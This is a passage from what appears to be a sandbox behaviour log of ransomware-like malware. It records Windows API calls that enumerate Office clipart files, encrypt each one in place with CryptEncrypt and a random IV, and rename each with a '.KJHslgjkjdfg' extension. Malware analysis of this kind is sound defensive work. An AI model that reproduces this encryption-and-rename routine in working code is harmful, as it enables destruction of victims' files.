pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9b0) returned 1 [0159.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.904] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9b0, lpOverlapped=0x0) returned 1 [0159.904] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.904] SetEndOfFile (hFile=0x114) returned 1 [0159.906] GetProcessHeap () returned 0x2a0000 [0159.906] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.906] GetProcessHeap () returned 0x2a0000 [0159.906] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.kjhslgjkjdfg")) returned 1 [0159.908] CloseHandle (hObject=0x114) returned 1 [0159.908] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0159.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.910] GetProcessHeap () returned 0x2a0000 [0159.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.910] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.910] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.910] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.912] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.912] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.912] GetProcessHeap () returned 0x2a0000 [0159.912] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.912] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.912] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.912] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.912] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.912] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.913] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b8, lpOverlapped=0x0) returned 1 [0159.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0159.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.913] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0159.913] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.913] SetEndOfFile (hFile=0x114) returned 1 [0159.916] GetProcessHeap () returned 0x2a0000 [0159.916] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.916] GetProcessHeap () returned 0x2a0000 [0159.916] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.kjhslgjkjdfg")) returned 1 [0159.917] CloseHandle (hObject=0x114) returned 1 [0159.917] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0159.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.918] GetProcessHeap () returned 0x2a0000 [0159.918] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.918] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.918] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.922] GetProcessHeap () returned 0x2a0000 [0159.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.923] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.923] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.923] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.923] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.923] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x402, lpOverlapped=0x0) returned 1 [0159.923] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x410, dwBufLen=0x410 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x410) returned 1 [0159.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.923] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x410, lpOverlapped=0x0) returned 1 [0159.923] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.923] SetEndOfFile (hFile=0x114) returned 1 [0159.925] GetProcessHeap () returned 0x2a0000 [0159.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.925] GetProcessHeap () returned 0x2a0000 [0159.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.kjhslgjkjdfg")) returned 1 [0159.927] CloseHandle (hObject=0x114) returned 1 [0159.927] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0159.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.927] GetProcessHeap () returned 0x2a0000 [0159.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.928] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0159.930] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.930] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.930] GetProcessHeap () returned 0x2a0000 [0159.930] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.930] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.931] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.931] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.931] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.931] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.931] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.931] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.931] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcd6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcd6, lpOverlapped=0x0) returned 1 [0159.931] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0, dwBufLen=0xce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0) returned 1 [0159.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.931] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xce0, lpOverlapped=0x0) returned 1 [0159.931] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.931] SetEndOfFile (hFile=0x114) returned 1 [0159.933] GetProcessHeap () returned 0x2a0000 [0159.934] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.934] GetProcessHeap () returned 0x2a0000 [0159.934] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.kjhslgjkjdfg")) returned 1 [0159.935] CloseHandle (hObject=0x114) returned 1 [0159.935] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0159.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.936] GetProcessHeap () returned 0x2a0000 [0159.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.936] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.936] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.937] GetProcessHeap () returned 0x2a0000 [0159.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.937] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.937] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.937] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.938] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.938] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.938] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.938] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7a8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7a8, lpOverlapped=0x0) returned 1 [0159.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7b0, dwBufLen=0x7b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7b0) returned 1 [0159.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.938] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7b0, lpOverlapped=0x0) returned 1 [0159.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.938] SetEndOfFile (hFile=0x114) returned 1 [0159.940] GetProcessHeap () returned 0x2a0000 [0159.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.941] GetProcessHeap () returned 0x2a0000 [0159.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 